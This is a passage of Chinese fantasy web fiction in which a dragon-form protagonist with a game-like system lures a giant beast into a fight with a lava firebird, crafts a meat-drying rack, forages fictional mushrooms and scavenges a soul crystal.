不等颜辞云提出抗议，下一秒，颜辞云视线角落的小地图瞬间刷新，无数代表着新植物的绿点在小地图上闪烁。 并且，其中一个被标红的、显示等级为【珍稀】的植物图标，竟与远处漫步而来的庞然巨兽重叠，在小地图上一闪一闪，像是催促着颜辞云不要磨蹭，赶快行动。 颜辞云：“……” 不是吧。 我打怪兽？ 真的假的？ 30-40 第31章 祸水东引 溜了溜了。 在换季后的这段时间，颜辞云曾经无数次后悔自己为什么要动作那么快，把手里仅有的种子和植物全都种在了石原基地里，以致于它们一个都没挨过换季。 与此同时，颜辞云还无数次尝试过把手上仅有的花草树木都撕下一点加入烹饪，试图发掘出异世界好用的大料，以提高肉类烹饪后的风味。 毕竟，颜辞云天天吃龙肉也不是办法，再好吃的东西一直一直吃也会吃腻。 而偏偏兔、狗、牛等肉类，不加点去腥提味的大料也着实不好吃。 每当想到这里，颜辞云都会倍感悲伤：穿越之初的自己，还能用类似柠檬的酸类果实腌制一下蛇肉，可如今她肉是不缺了，水果和佐料却一点儿都没有。 ——这全都是那场大火的错！！ 因此，颜辞云开始在心中默默祈祷春天的到来，甚至祈祷系统的醒来。 “春天啊春天，快点带着你的新植物和新种子来吧！” “系统啊系统，快点开一个传说中的兑换商城吧，或者灵植空间，哪怕是跨时空交易平台也行啊！” 这又腥又涩的肉，颜辞云真是一天也吃不下去了！ 万万没想到，系统竟然还真的回应了她 不但给颜辞云开了一个[辨识百草]的任务，并且把种植区块当作了任务的奖励。 贴不贴心？ 贴心。 ——打怪兽换来的。 此刻，颜辞云看了看小地图上闪烁的光点，又看了看远处与光点重合的巨型怪兽，再看了看长达百米却不足怪兽一个脚印大的自己，深吸一口气。 此刻，颜辞云其实有三个选择： 第一个选择就是按照系统的提示，冲上去和怪兽硬刚。 顺带，她还能试试自己会不会真的像游戏玩家一样复活。如果可以，指不定她能用无限复活这个办法磨死怪物。 但这个选择太无脑了，颜辞云几乎没怎么多想就把它从脑海删除。 ——谁活的好好的会想去去试试自己能不能复活啊？！ 所以，颜辞云的第二个选择是跑路。 天大地大没有自己的命大，系统任务又不是强制执行，干什么那么拼命？ 肉难吃？忍忍就过去了。 想开种植区块获得更多的水果和配料？忍忍就过去了。 舍不得自己种的树和刚建好没多久的树屋？忍忍就过去了。 总而言之，只要能忍，那就能苟。 可同样的，颜辞云没有让这个选择在自己脑袋里待多久。 俗话说，人只要能吃苦，那就有吃不完的苦；同样的，人只要能忍，那就有忍不完的糟心事。 所以颜辞云很快想到了第三个办法： 在保全自己树屋的前提下伺机而动，寻找杀死这只巨兽的办法。 说简单点就是把这个巨兽引开，引到一个远离树屋的地方，随它胡搞，颜辞云升级到能把巨兽按着打的等级后，再回头来把他干掉。 或者足够幸运的话，颜辞云甚至可以把它引到另一只巨兽的地盘上，让它们自相残杀，双双毙命，再由颜辞云来捡漏！ 就像是刻意被颜辞云圈出的斗兔场一样！ 想到就做。 颜辞云不再迟疑，捞起自己的邪龙噬雷枪就上了。 比起颜辞云近200米长的龙形，颜辞云手中的邪龙噬雷枪小得就像是孩子的玩具，半点说不上趁手。 但是邪龙噬雷枪有一个很好用的能力，那就是引雷。 500米内，指哪打哪。 这也算是颜辞云手上最好用的远距离攻击技能了。 而至于颜辞云吐蛛丝的能力？ 这种打大怪兽的场合就不用提了。 如今，颜辞云就是准备用引雷这个远程攻击能力，激怒巨兽，吸引巨兽的注意力，把它一点点引到其他的地方去，免得祸害她的树屋。 至于引到什么地方去，颜辞云也想到了两个备选。 一个是如今化作了冰原的大海。 那里光秃秃的，滑溜溜的，想来可以拖住这只巨兽很长一段时间，说不定还能让颜辞云看上一场怪兽大战摩擦力的好戏！ 而另一个地方则是沙漠。 在树屋的西侧，比草原更远的地方，有一片巨大的沙漠，颜辞云就是在那里挖的沙子炼的玻璃。 颜辞云曾经粗略的探索了一下这个沙漠，发现这沙漠的面积实在有点儿出乎意料，飞了半天也没有到头。 而且这片沙漠给颜辞云的感觉也十分古怪，有种非常微妙的危险感，因此颜辞云只围着沙漠边缘稍稍探索了一下就撤了。 如今，把这片不便深入的古怪沙漠做为放逐怪兽的去处，可不是刚刚好？ 颜辞云计划很好，想的很妙，但奈何她出师不利，在行动的一开始就遭到了当头一棒： 邪龙噬雷枪的威力太弱了，就连怪兽的皮都破不了！ 就像是一片落叶从脸上飞过，又像是一滴露水从指尖飞溅。 分明颜辞云拿着邪龙噬雷枪引来惊雷，夸嚓一下劈在怪兽的脑袋上，但结果那怪兽竟都没察觉到自己被攻击了，继续自己晃晃悠悠的散步，连一个眼神都没分给颜辞云，更没有颜辞云想象中的暴怒与追逃。 颜辞云：“……” 伤害力为零，但侮辱性极大。 颜辞云不信邪，抄起邪龙噬雷枪又咔咔咔地给怪兽脑袋上来了几道雷。 下一秒，怪兽随意甩了甩脑袋毛，打了个喷嚏，险些把颜辞云喷了个十万八千里。 颜辞云：“……” 天呐！还有没有天理啊！？ 颜辞云终于气急，也不想什么保持安全距离的事了，把手里的枪当棍子舞得虎虎生风，冲上去照着脸就给巨兽来了两下打狗棒法。 哐！哐！哐！ 轰隆！轰隆！轰隆！ 巨力打脸，惊雷炸耳。 【-1】 【-1】 【-2】 好消息，怪兽亮血条了！ 坏消息，是擦伤！ 这一刻，被擦破了点儿皮的巨兽，终于看到了像小苍蝇一样在它身旁嗡嗡飞舞的颜辞云。 巨兽勃然大怒，大吼一声向颜辞云冲来，面目狰狞，气息凶暴。 但颜辞云大大松了口气——这剧本才对嘛！ 成功拉到仇恨，颜辞云掉头狂飙，控制着比巨兽稍稍快一些的速度，和巨兽一前一后，追逃着跑向沙漠。 不过，可能是颜辞云实在身形太小，攻击力太低，吸引的仇恨不够高。 那巨兽只追了她不到一千米就停下脚步，懒散打了个喷嚏，掉头离开，似乎决定不跟小苍蝇计较，继续向它更感兴趣的树屋方向进发。 颜辞云没有办法，只能提着手里的枪返回，再次照着巨兽的脸框框来了两耳刮子。 “吼！！” 巨兽暴怒追逐。 一千米后。 巨兽打了个喷嚏，再次心平气和，扭头离开。 颜辞云：“……” 真服了你们这些心态超好的怪兽了！ 不都说你们这种大家伙是睚眦必报，哪怕被拔一根毛都要追着别人上天入地把人挫骨扬灰才肯罢休吗？！ 不要这么快就把人原谅了好嘛？！ 于是，接下来，为了保护自己漂亮的小树屋，颜辞云不得不硬着头皮，在异世大地上上演着这样一幕： 轰隆！轰隆！轰隆！ “吼！！”暴怒狂奔。 “阿嚏。”扭头离开。 轰隆！轰隆！ “吼！！” “阿嚏。” 轰隆！ 也不知道追追逃逃了多久，颜辞云恍恍惚惚，只感到天色暗了又亮，亮了又暗。 可能是过了几天，也可能是过了十几天，在颜辞云饿得几乎要忍不住生啃自己物品栏里的生肉前，她终于把这只怪兽引到了沙漠！ 沙漠广袤无垠，虽然与雷山的距离比草原更近，却意外没有受到换季的影响，不但依然保持着炎热气候，就连陨坑也一个没有，自然也没有遭到过兔灾。 颇有点遗世独立的清高感。 但这一天，一名缺德的玩家来到这里，并把铜皮铁骨高达千丈的巨兽一脚踹进了沙漠，来了一招祸水东引。 于是，好戏开始上演！ 就像颜辞云之前隐约感受到的一样，这片沙漠的确是有点古怪在身上的。 当颜辞云和怪兽在沙漠边缘追追逃逃时还好，可当她们深入沙漠万里、狂暴的气息与怒吼在沙漠天空轰隆回响时，这片沙漠终于开始显露出它的险恶！ 最开始，是一种细小窸窣的声音。 它像是沙子的流动与摩擦声，在巨兽一脚一个沙坑的巨响和轰隆雷声下，几乎难以被人察觉。 或者说，哪怕被人听到了，也只会以为是沙漠里正常的声音。 但很快的，这样的声音开始变大，颜辞云开始察觉到了不对，并听到了一种微妙的声音。 那是她用熔炉把沙子炼成玻璃时，曾无数次听到过的声音。 而这个声音代表的是——高温！ 常人绝无法忍受的高温！ ——这个沙漠的温度，在迅速变高，并且越来越高！ 在察觉到这一点的瞬间，颜辞云悚然一惊，身形迅速拔高，往高空处又飞了一大段，几乎是瞬间就脱离了巨兽的攻击范围，放弃了拉着巨兽继续深入沙漠的意图。 没有了颜辞云的干扰后，巨兽果然又迅速变得心平气和，扭头再次往树屋的方向走去，就像之前的无数次那样。 只不过这一次，颜辞云再没有上前干扰巨兽的脚步了。 因为已经不再需要！ 只见下一秒，原本只是细细响起的流沙声骤然变大，响彻天地。 飞在高空中的颜辞云清晰看到，沙漠大地此刻裂开数条火红深渊，以不可思议的速度将沙海吞噬下去，而那些来不及掉落深渊的沙子，竟是在半路就被高温融化成了流动的岩浆。 一秒，两秒，三秒。 十秒，二十秒，三十秒！ 仅仅是半分钟不到的时间，沙海竟然天翻地覆，从无边无际的黄色海洋，变作了无边无际的红色地狱！ 红色，红色，颜辞云放眼望去，入目所见，唯有红色——如水一样，高温而流动的红色！ 要命！ 该死！ 这是不是就是那个换季时从地底冲出跟蓝焰“大打出手”的红水？ 颜辞云看着这一幕，头皮发麻，几乎是迫不及待的向高空处又飞了老大一段距离，这才堪堪避开了那蒸腾不休的热气。 而地上的巨兽就没这样好运了，被到处流动的岩浆烫的嗷嗷直叫。 颜辞云看了一眼血条。 【-10】 【-10】 【-10】 颜辞云看了一眼巨兽脑袋上压根没动弹过的血条，明悟了：原来是从擦伤变成了修脚！ 世上怎么有这么皮厚的怪兽啊？ 正这样想着，下一秒，在颜辞云眼睁睁的注视下，原本裂开的数道红色深渊竟连成一条，化作巨大陷坑，开始以肉眼可见的速度向下陷落！ 而当这陷坑不断下降，直到变成一个恍如通向地狱的巨大深坑时—— 轰！ 红色的岩浆飞溅，一只全身通红、如同由纯粹岩浆构成的巨大火鸟飞出，二话不说，照着巨兽脸上就来了一巴掌。 轰隆！ 恍如惊雷的声音再次炸响！ 但不同于以往的是，这一次，巨兽的血条动了！ 【-1500】 巨兽万万没想到，自己好好走在路上，吃着火锅唱着歌，正高兴着呢，却冷不丁挨了一巴掌，还这么重！ 还有没有天理啦？！ 巨兽自然不依，暴怒起来，不甘示弱地向火鸟一个猛扑，不顾自己被烫的滋滋作响的皮肉，张口就咬！ “吼！！” 【-1500】 掉了掉了！ 火鸟的血条也掉了！ 而火鸟也越发暴怒了。 原本，火鸟好好睡在地底，做着美梦打着呼，结果一个丑东西趁它睡觉在它脑袋上蹦迪，被教训后还反咬了它一口？ 天呐！这还有没有天理啊？！ 这谁能忍啊？！ 火鸟二话不说，跟巨兽开始了残暴互殴。 颜辞云看着这火花四溅的一幕，一个激灵，露出清澈纯洁的眼神，把容易引起误会的邪龙噬雷枪往自己的物品栏里一塞，然后—— 掉头就跑！ 诶嘿，不关她事。 溜了溜了。 第32章 蘑菇 颜辞云赢两次！…… 回到自己的树屋后，颜辞云先是生起大火，疯狂烤肉，狂吃了三十斤狗肉三十斤兔肉和十斤牛肉后，这才算是初步摆脱了饿死鬼状态。 但此时，颜辞云依然不敢跑远、不敢回到海底去啃几口就能饱的龙肉，是因为她害怕自己吃到半路，她精心打造的这座梦幻小树屋就会毁于两只大怪兽的池鱼之殃。 可事实上，直到颜辞云从中午吃到晚上，又吃到早上，最后肉都吃都饱了，坐在500米高的露天阳光卧房里，一遍甩尾巴一遍吃梨子时，沙漠深处的怪兽互殴都迟迟没有结果，只能听到隐约的咆哮声伴随着轻微的地震传来。 轰隆！轰隆！轰隆！ 第一天，颜辞云一边狂吃烤肉，一边紧张地观望。 轰隆！轰隆！轰隆！ 第二天，被饿狠了的颜辞云吸取教训，一边给自己做储备粮，一遍紧张地观望。 轰隆！轰隆！轰隆！ 第三天，不知不觉睡在火堆边的颜辞云，被远处的一个炸响蓦地惊醒，连忙飞上高空眺望，发现远方的两只巨兽依然在秉持着朴素的巴掌互殴后，擦了擦嘴角的口水，回到巨木下收整厨房。 第四天，实在不想再吃烤肉了的颜辞云，开始琢磨着把肉风干晾晒的事。 关于怎样制作保质期更长的肉干，颜辞云其实有好几个想法。 比如说最朴素的晾晒法，就是把肉洗干净后，挂在通风良好阳光充足的地方，进行风干。 而其它的办法如烟熏法、烤制法、腌制法等，虽然有点麻烦，但也不是做不到。 真正阻碍颜辞云的，其实还是同一件事：没有佐料。 连最基础的盐都没有！ 没有用盐腌制的肉，做成肉干后……真的能吃吗？ 颜辞云实在不敢打包票。 因此，颜辞云的目光忍不住地飘向自己的万能制作台：有没有什么道具，能让她放进去的是大肉，拿出来的是肉干？ 自动熏肉机？自动晾肉架？ 这个想法听起来好似有点儿异想天开，可是，制作台不就是这种“不讲科学”“不讲道理”的神奇之物吗？ 颜辞云想着，摩拳擦掌地上了。 她先是用木棍在制作台的格子里拼出了一个晾肉架的模样，试图让制作台领会她的意思。 但无果。 于是颜辞云往制作台里继续丢材料，一个个试过去。 晾肉晾肉……晾肉是不是要需要绳子来着？ 【木棍】和【草绳】丢进去。 没反应。 唔，再想一想……晾肉前，是不是还需要稍稍熏一下？ 试试呗。 颜辞云从储物箱里翻了翻，翻出一块木炭，丢进制作台。 还差一点，还差一点…… 就这样，在颜辞云的不懈尝试下，她竟然真的做出了晾肉架！ 【3树枝+2木炭+3草绳=晾肉架】 颜辞云欣喜若狂，当天晚上晾了一块兔肉，想试试这晾肉架的效力，没想第二天一早，她就发现晾肉架的兔肉成功变成了一块兔肉干！ 效率这么高的？ 颜辞云震惊取下这块兔肉干，试探着咬了一口，瞬间呆愣当场。 香！ 兔肉干入口，颜辞云的第一感觉，就是香。 与那种普遍浸透了大料香气的肉干不同，这一口兔肉咬下去爆发出来的，是去除肉腥味后最原汁原味的兔肉香气。 而从兔肉深处透出的一股淡淡烟熏香，则与兔肉香气接近1比9，既给兔肉增添了一道香气的层次，令香味更显厚重，并且也绝不会喧宾夺主，让人一口下去分不清自己吃的是肉还是炭。 只这一口，颜辞云的口水就开始泛滥。 第二口咬下，颜辞云的感觉是嫩。 没错，这块风干兔肉，颜辞云竟然吃出了“嫩”！ 只不过这种嫩，并非是普遍意义上的肉嫩，而是晾得恰到好处的肉干在经过牙齿咀嚼后，肉筋分离时在口中缠绵搅出的一种嫩！ 接着是第三口，第四口，第五……抱歉，没有第五口了。 颜辞云舔了舔手指，恍惚间竟生出了猪八戒吃人参果的感觉： 还没吃出味儿来，它就没了？！ ——不行，得再多做点肉干！ 颜辞云想着想着，不由得捶胸顿足：我可真该死啊！ 明知道制作台出品的东西就是这样神奇，她怎么还对此抱有质疑之心和试探之心呢？ 否则的话，她今天早上不就能直接收获一大票超美味的肉干了吗？！ 快一个月没吃到正常食物了的颜辞云，感动的眼泪从嘴角流下。 接下来，颜辞云迅速用制作台又做了99个晾肉架，和之前的那一个晾肉架一块儿，凑了个百数。 然后，颜辞云又加急在客厅的不远处做了一个晾肉房，把晾肉架摆在晾肉房里，挂上切得整整齐齐的肉块。 有狗肉，有兔肉，还有极少一部分的牛肉。 对着这些在晾肉架上摇晃的鲜肉，颜辞云一边笑着，一边开始对未来生出了美好畅想。 第五天就这样结束了。 第六天，习惯了远处咆哮声和脚下细微震感的颜辞云，几乎都快忘了还在沙漠深处互殴的巨兽们了。 她起床，先是来到晾肉房，收了一大波肉干，和小白你一块我一块地分吃干净，稍稍满足了一下自己胃里的馋虫后，这才给晾肉架挂上又一波鲜肉。 “现在还不能吃哦，小白。” 颜辞云眼疾手快，一把按住还想往晾肉架上扑的小猫咪。 “还要等一段时间，你闻闻，现在它就是普通的肉。” 说话间，颜辞云托着小猫咪，凑到晾肉架前让它嗅嗅。 小白的目光果然清澈了起来。 “真聪明。” 颜辞云笑着放下不再火急火燎的小白，清点了一下自己手上为数不多的鲜肉后，便来到隔壁冰原，从这个天然冰箱里挖出因她之前冻在冰块里的兔肉狗肉。 “说起来，我是不是该找个时间做个地窖？” 颜辞云看着这些冻肉，开始考虑着自己手上食物的保鲜问题。 地窖这个东西，对颜辞云来说不过是小菜一碟——只要找个地方随便往下挖个几十米，再用石板和石柱撑起来，就可以往地窖里放冰块了。 而当这样的地窖做好后，哪怕是夏天，颜辞云手上的食物也能保持一定的鲜度，甚至吃点冰沙也绝不是问题。 但在做出晾肉架之前，颜辞云实在懒得做这个东西。 毕竟——斗兔场不就在树屋旁边的草原上吗？ 以兔子的繁殖速度和紫毛鬣狗的好斗程度，无论颜辞云什么时候去草原，都是不可能缺食物的。 能吃鲜肉，为什么要吃冻肉？ 如果不吃冻肉还不缺食物，地窖又有什么存在的必要？ 甚至，如今颜辞云手上的这些冻肉，都是因为颜辞云在严厉打击兔灾后，为了不令兔尸堆积过多引发瘟疫疾病，才收集起来的。 以颜辞云自身来说，她对兔肉其实没什么需求。 “不过，现在……果然还是挖个地窖吧！” 因为接下来，颜辞云大概是要大量储存肉干的。 需要不需要暂且不提，光是“好吃”这一点，就足以让颜辞云狂攒肉干了。 颜辞云把冰原里的冻肉翻出来，放进晾肉房的储物箱里自然解冻，等待第二天的晾干。 接着，颜辞云就开始捣鼓地窖。 就跟颜辞云想的一样，地窖这种建筑对颜辞云来说实在简单，拢共花了不到半小时，就完美建成，并且这半小时里的大半时间，其实都花在思考地窖位置这件事上。 颜辞云如今所在的山丘，东面十公里不到就是断崖，下头是冰原；西面不远处就是草原，更远一些则是沙漠；南面靠着裂谷与花海，北边则是大片大片的湖泊群系。 所以严格来说，除了山丘下方外，其他地方都不太适合建地窖。 可偏偏，这片山丘已经被颜辞云划做了日后的种植区，而哪怕颜辞云日后不往这片山丘上钟什么东西，以颜辞云对巨木的厚望，她也不会在巨木的根系下方挖洞、妨碍巨木的通天之路。 最后，颜辞云思来想去，还是在裂谷里头挖了个超深地窖，又从冰原上挖了一大波冰块，把地窖堆满，等待夏天的使用。 接下来，越发被制作台魅力折服的颜辞云，继续捣鼓合成表，想要再搞点“晾肉架”这种黑科技产品出来。 但是，没等颜辞云试出新配方，她倒是看到自己的小地图里又冒出了一个代表着植物的新光点。 并且，就在颜辞云的活动室里！ 咦？发生了什么？ 颜辞云好奇来到活动室，转了两圈，终于在活动室的角落发现了某个东西： 【奇特的木墩】x5 【它似乎腐烂了，但却又带着一种奇异的生机，将它放在阴暗潮湿的角落，或许会有不一样的收获。】 建好活动室后，颜辞云把身上大部分有用没用的东西，都放在了这里，其中就包括颜辞云在海底砍树时得到的【奇特的木墩】与【宽大的枝桠】。 而如今，当颜辞云俯身打量时，她发现被自己放置许久的【奇特的木墩】，此刻却长出了……蘑菇！ 是的，没错。 这块木墩上，竟然真的长出了五颜六色的蘑菇！！ 仗着自己吃不死，颜辞云上手就摘了两朵尝尝味。 【红蘑菇：会在白天生长的蘑菇，食用后会产生剧烈恶心、呕吐、腹痛、腹泻等症状，煮熟后可去除一定毒性，但又会引起头晕眼花，神志不清等精神症状。】 汁水丰沛，气味香中带甜。 不错嘛！ 含糖量意外很高，不是水果的味道，却又跟水果一样清甜，可以日常当零食吃！ 颜辞云开心把红蘑菇摘下收好。 【绿蘑菇：会在黄昏生长的蘑菇，食用后会引发强烈幻觉，煮熟后可去除毒性，虽然还会引起轻微的腹泻，但却可一定程度上治疗精神错乱的问题。】 口感细腻鲜嫩，异香扑鼻。 不错不错，无论是拿来当煮肉的配料，还是单纯煮蘑菇汤，都绝对好吃！ 收起来收起来，今晚就加餐！ 【蓝蘑菇：在夜晚生长的蘑菇，食用后会虽能治疗一定的身体疾病，但同时也会产生精神错乱，出汗、呼吸困难等症状，煮熟后不再有治疗功能，反而会引起轻微的腹泻，但却可一定程度上治疗精神错乱的问题。】 没有红蘑菇甜，没有绿蘑菇香。 但它吃起来的口感却超过以上的任何一种！ 是那种非常奇妙的、不知道该如何形容但就是超好吃的口感！ 赚大了！ 采蘑菇的小姑娘开开心心地把蓝蘑菇也收进口袋。 至此，尝百草的任务完成度+3，颜辞云的食物进账+20. 双赢！ 颜辞云赢两次！ 当天晚上，颜辞云就煮了一锅蓝蘑菇汤、一锅绿蘑菇汤，还有一锅兔肉炖小蘑菇。 这三锅汤，异香扑鼻，味道醇厚，哪怕没有任何多余的调料，也吃得颜辞云和小白两个感动的眼泪从嘴角流下。 呜呜呜……这才叫生活啊！ 第六天就这样过去了。 第七天，中午，当颜辞云收完肉干，检查完又在长蘑菇的木墩后，躺在阳光卧房里一边晒太阳一边思考着怎么让自己的生活更美好时，蓦地，一声前所未有的巨吼从沙漠深处传来。 颜辞云被这怪声吓了一大跳，险些从五百米高的平台上滚下来。 但很快的，颜辞云反应过来，变回龙形，迅速飞到高处，向沙漠的方向眺望： 那边又怎么了？ 莫非……打出结果了？ 第33章 捡漏 吃！一定要吃！ 在两只巨兽互殴的这段时间里，颜辞云观望着观望着，不说摸清了这两只巨兽的全部底细，却也消除了对它们的大部分恐惧。 说到底，人的恐惧来源于未知。 而当知道这两只巨兽有什么能力、能做到什么地步后，颜辞云心里盘算着的，便也就只剩下“该怎么对付这两个大家伙”这件事了。 诚然，这两只巨兽的体型比之颜辞云，就像是大象比之蚂蚁。当一只蚂蚁高谈阔论，说要如何围剿两只大象时，实在是引人发笑……但如果这两只大象并非真的大象，并且早已两败俱伤了呢？ 颜辞云早已注意到，那只突然从远方冒出的、晃晃悠悠的四脚巨兽，虽然其体型庞大、皮糙肉厚，把颜辞云的全力一击都衬得像是在修脚指甲，但它却也有一个最大的弱点，那就是笨。 它可以轻而易举地被颜辞云激怒，被颜辞云放风筝一样狂奔万里，引到沙漠；同时却又可以转脸间轻易忘掉对颜辞云的仇恨。 甚至，它还没有半点审时度势的能力，只是被颜辞云稍一挑拨，竟就毫不犹豫地与另一只巨兽大打出手、以命相搏！ 这不叫蠢笨又叫什么？ 而与此同时，另一只巨兽——那个从地底岩浆飞出的火鸟，也同样不算什么太难对付的角色。 颜辞云曾经对这只火鸟很是忌惮，以为这只火鸟就是换季时出现的“红水”的化形，还一度犹豫要不要干脆搬走算了。 但很快，颜辞云就发现是自己想多了。 经过观察，颜辞云发现，这只红色火鸟固然可怕，但却远没有“红水”那样狂暴，动辄就是天翻地覆、焚山煮海。 它其实更像是紫毛鬣狗和蓝毛兔子的升级版。 颜辞云猜测，在那场改天换地的换季中，“红水”其实和“蓝焰”与“雷云”一样，都留下了炁，只不过这份炁不像后两者那样孕育出了大量生命，而是有且仅孕育出了一种生命，那就是这只火鸟。 也因此，这只火鸟虽然看起来庞然可怖，并且拥有一片广袤而灼热的岩浆池增加声势，但其实它自身并没有什么神奇能力。 ——只不过是一只火焰形态的、体型稍微大了点的鸟形生物而已。 不说与颜辞云手里的系统制作台相比，哪怕是颜辞云手里的息土，它都比不了！ 想明白了这一点后，颜辞云对这只火鸟自然就没什么好怕的了。 颜辞云真正惧怕着的，始终是那些拥有真正的智慧、并且还拥有她无法理解的奇妙能力的生物而已。 因此，当那巨大怪声从沙漠深处响起，在颜辞云预感到这场怪兽大战很可能即将迎来落幕时，她心里冒出的第一个想法不是别的，而是“我能从这场战斗里得到什么好处”。 对！就是好处！ 因为捡漏永远是快乐的！ 捡漏才是永远的神！ 想一想吧，在穿越之初，颜辞云就是捡了数条从树上摔晕摔死的蛇，这才吃了穿越后的第一顿饱饭，并且得到【蛇形】，从此摆脱了畏寒惧热、跑不快拿不多的人形； 在这之后，颜辞云又捡了小白上供的木龙龙魄，这才有机会进入龙种力场，通过吃龙肉一路飞升！ 可以说，颜辞云如今在异界逍遥自在岁月静好的日子，几乎全都是靠捡漏得来的，这叫她对“捡漏”这件事如何不兴奋、如何不期待？ 所以—— 这一次的她，又能捡到什么好东西？ 抱着这样的期待，颜辞云摩拳擦掌，飞到高空，仔仔细细地观察沙漠深处的动静。 在颜辞云凝视沙漠超过五秒钟后，颜辞云的视野里跳出了两个超长血条。 【15296/5000000】 【11432/7000000】 血量500万的是四脚巨兽，血量700万的是火焰巨鸟。 二者的攻击力都差不多少，但前者的血条比后者短，续航却比后者长。 颜辞云咋舌：看来，皮糙肉厚就是有这个好处，哪怕是在别人的主场作战，也能反过来把别人怼个半死。 想到这里，颜辞云下意识摸了摸自己的龙爪，又按了按自己的龙鳞。 嗯，又厚又硬，既能抗雷劈，还能爪撕钢铁，虽然是比不了大怪兽，但依然是让人很安心的小怪兽的强度呢。 之后，颜辞云悄无声息的飞到了草原上空，鬼鬼祟祟地向沙漠又靠近了段距离，小心观察。 只见此刻，时隔七日，两只原本都威风凛凛的巨兽，这会儿都显得格外凄惨狼狈。 那只纯粹由火焰构成的巨鸟勉强还好，只是看起来身上的火焰暗淡了些，体型小了些，抡巴掌的翅膀有气无力了些而已。 但那只四脚巨兽就惨得多了。 颜辞云凝神细看，只见，那巨兽原本茂密的毛发，被烧得秃一块焦一块，几乎看不出原来的样子，甚至仔细观察时，还能看到烧焦毛皮下坑坑洼洼的皮肉。 与此同时，这巨兽的四肢也不太灵敏协调，长长的獠牙断了几根，就连眼睛也瞎了一只。 光看外表，恐怕谁也想不到，这四脚巨兽才其实是能坚持得更久些的那个。 事实也没有超出颜辞云的预料。 在颜辞云来到草原后没多久，那只暴躁的火鸟就被打空了最后一点儿血，发出一声不甘的尖啸后，轰然倒下。 它庞大的身躯化作溃散的火焰，不断流淌、缩小、四下飞散，将那片本就高温难耐的岩浆池，衬得越发像是熔岩地狱！ 而与此同时，那只好不容易击败巨鸟的四脚巨兽，则趴伏在地上，狼狈喘息。 颜辞云凝神细看。 这时，这四脚巨兽哪怕瞧起来已经是离死不远了，可它头上顶着的还剩7000多的血条，却警告着颜辞云这绝不是她能解决的大家伙。 而跟让颜辞云失望的是，巨兽脚下的岩浆池对它的伤害，也早已从【-10】降到了【-1】，并且是要过许久许久才会冒出一个【-1】。 这也代表着颜辞云把这巨兽拖在岩浆池里打转、指望岩浆池把它最后一点血条抽空的想法，大概是要落空了。 颜辞云暗暗叹息，颇为遗憾。 看来，想要连续捡两个漏，还是有点儿贪心了啊。 不过，有只火焰巨鸟打底也不算亏。 颜辞云想着，将目光投向火焰巨鸟溃散的地方，心痒难耐：这只火鸟消失后会留下什么好东西？ 或者说，它的巢穴里会有什么好东西在等她？ 可恶，这会儿岩浆池的温度还是太高了，等这地儿的温度再降低一些后，她保证第一时间去捡漏！ 哦，对了，在搜刮之前，果然还是要把四脚巨兽再引远些。 颜辞云等啊等，等啊等，从中午等到深夜，又从深夜等到第二天中午。 她等到皮糙肉厚的四脚巨兽缓过了气、就地呼呼大睡起来，等到巨兽脑袋上的血条从【+10】【+10】【-1】【+10】中不断回升，眼看又要过万时，颜辞云看着熔岩里那只快消散得差不多的火焰鸟，咬牙，觉得自己不能再等下去了。 ——那只火鸟，你别散那么快！ 让她啃一口先！ 颜辞云不再犹豫，一头扎进这片恐怖的高温地狱里，顶着每五秒就【-10】的负面BUFF在火焰鸟面前降落。 【4990/5000】 【4980/5000】 【4970/5000】 由于自个儿的血条本就不长，没法久待，颜辞云也就没对周围多做打量，直奔火焰鸟面前，对着那团仍有她三倍大的火焰捞了一把。 【-10】【-30】【-10】【-30】 火焰如液体一般在颜辞云爪子里流动，颜辞云的血条掉得更快了。 ——烫！ 真的超烫！ 烫到颜辞云怀疑，自己如果真把这一口火焰吞下后，自己到底是会升级，还是会被直接被烫坏内脏！ 但是，难道就这样放弃吗？ 放弃这么一个她甚至都紧握在了手里的大机缘？ 颜辞云真心舍不得。 【吞噬】技能带给了颜辞云多少好处，颜辞云是切身体会过的，如，又一个进化和变异的机会摆在面前，颜辞云怎么可能试都不试就放弃？ 那么——那就—— 颜辞云一咬牙，正准备抱着“撑死胆大的，饿死胆小的”、“只要吃不死，就往死里吃”的心，把这口火焰吞下时，颜辞云一个错眼间，突然看到了一抹熟悉的白色。 颜辞云先是一愣，而后大惊失色：“小白？！你怎么在这里？！” 没错，此刻出现在颜辞云身旁的，赫然是那只被颜辞云放在树屋的小白虎！ 也不知道这小家伙是怎么偷渡来到这里的，更不知道这小家伙在这里待了多久，只见此刻，这毛茸茸的小猫咪分明站在滚烫的火焰与流动的岩浆之中，可它竟半点没有沾上热浪、半点没有沾上火焰，依然是那副干干净净、清清爽爽的样子。 如果说，这只小白虎在地底被颜辞云刚发现时，它那一身的干净模样还能用“小动物的毛发光滑、不沾泥土”来解释，那如今小白虎的异样，却是无论如何都没法再解释的了。 只不过颜辞云此刻完全没注意到这种细节。 因为下一秒，小白这小坏蛋竟就顶着大家长不赞同的目光，一头栽进了火焰鸟的那团火焰核心里！ “什么？等等！小白！白虎？白虎！你在干什么？！快给我出来！！！” 那是什么？是火啊！是火焰核心啊！ 你一个毛茸茸的小家伙主动往火里跑，是在找死吗？！！ 如果不是四脚巨兽这会儿就睡在一边，颜辞云这会儿的咆哮绝对是惊天动地。 但还好，在颜辞云气昏头、直接冲进火焰核心里把这坏家伙揪出来之前，小猫咪就顶着它那天真可爱的小毛脸蛋出来了，嘴里还叼着一团颜辞云非常熟悉的火色玉球，像一只寻回犬一样把火色玉球放在了颜辞云身前，仰着小脸等待夸夸！ ——还夸！没骂你个傻狍子就是好的！ 颜辞云眼疾手快，一把把小猫捞了起来，前前后后查看了三遍，确定这小朋友没被烧着、依然是水灵灵毛茸茸的小猫咪后，这才松了口气，有功夫去打量被它叼出来的火色玉球。 【灵魂结晶：未知】 【用途：吃】 颜辞云：“啊……” 颜辞云：“啊？！！” 不是，怎么就——她明明刚才也在这火焰核心里捞了一爪子啊，她怎么就没捞到灵魂结晶这种东西？ 还是说……所谓的“灵魂结晶”其实并不是什么真实存在的东西，而是白虎的特殊能力？ 是一个只会被白虎从怪物尸体上捞出来的特殊道具？ “吼——吼！” 身旁，四脚巨兽的声音传来，似乎有些被颜辞云这边的动静惊醒了。 颜辞云一惊，不再多想，一爪捞起玉球一爪捞起小白，飞上高空。 娇气的小猫咪是不喜欢被家长抓在手里的，于是它两下就挣开了颜辞云的爪子，顺着颜辞云的鳞片攀上，像一只猫猫虫一样扭着屁股爬上颜辞云的脑袋，在龙头上稳稳坐下，一脸的虎假龙威。 颜辞云倒没有注意到这点小事，一边在天上游曳着，一边看着自己爪子里的玉球，心中思考。 